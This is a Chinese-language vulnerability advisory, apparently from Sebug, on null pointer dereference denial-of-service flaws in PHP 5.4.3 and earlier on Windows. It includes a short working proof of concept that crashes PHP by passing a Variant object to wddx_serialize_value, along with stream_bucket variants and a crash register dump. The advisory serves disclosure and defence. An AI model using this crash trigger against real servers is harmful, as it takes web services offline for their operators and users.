PHP 5.4.3 多个空指针引用拒绝服务漏洞


发布时间: 2012-05-11

漏洞版本:

PHP 5.4.3

漏洞描述:

BUGTRAQ  ID: 53643

PHP是一种HTML内嵌式的语言,PHP与微软的ASP颇有几分相似,都是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。

PHP 5.4.3之前版本在实现时存在空指针引用导致的多个拒绝服务漏洞,攻击者可利用这些漏洞造成应用崩溃。
<* 参考
condis
*>

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. <?php
  2.  
  3. /*
  4.  
  5. PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Variant Object Null Ptr Derefernce
  6. Author : condis
  7. Date : 10.04.2012 AD
  8. Website : http://cond.psychodela.pl
  9.  
  10. ----
  11.  
  12. Download : http://php.net/downloads.php
  13.  
  14. Tested on:
  15. PHP 5.3.8 + Windows XP SP3 Professional PL
  16. PHP 5.3.10 + Windows XP SP3 Professional PL
  17. PHP 5.4.0 + Windows XP SP3 Professional PL
  18. PHP 5.4.3 + Windows XP SP3 Professional PL
  19. Description:
  20.  
  21. wddx_serialize_value and wddx_serialize_vars functions fails to handle Variant
  22. object when it is given as a first argument.
  23.  
  24. Registers:
  25.  
  26. EAX 00000000
  27. ECX 1056AAE8 php5ts.1056AAE8
  28. EDX 100EFCE0 php5ts.100EFCE0
  29. EBX 01032AB0
  30. ESP 00C0FAE0
  31. EBP 00000000
  32. ESI 0121E478
  33. EDI 0121CB50
  34. EIP 1028F22E php5ts.1028F22E
  35.  
  36. Crash:
  37.  
  38. 1028F22E 8A45 25 MOV AL,BYTE PTR SS:[EBP+25]
  39.  
  40. Situation looks pretty much the same for both wddx_serialize_vars and
  41. wddx_serialize_value. Also functions stream_bucket_prepend and stream_bucket_append
  42. have some problems with handling Variant object when given as a second argument:
  43.  
  44. stream_bucket_append(1, new Variant(1));
  45. stream_bucket_prepend(1, new Variant(1));
  46.  
  47. PS : Variant object is only available in PHP for Windows OS and it was implemented
  48. in PHP > 4.1.0 and PHP 5.
  49.  
  50. For more details check : http://php.net/manual/en/class.variant.php
  51.  
  52. PS2: After running this via webserver my Apache wasn't able to handle requests
  53. anymore and I had to restart him :)
  54.  
  55. kthxbye
  56.  
  57. */
  58.  
  59. wddx_serialize_value(new Variant(666));
  60.  
  61. ?>

安全建议:

厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

相关内容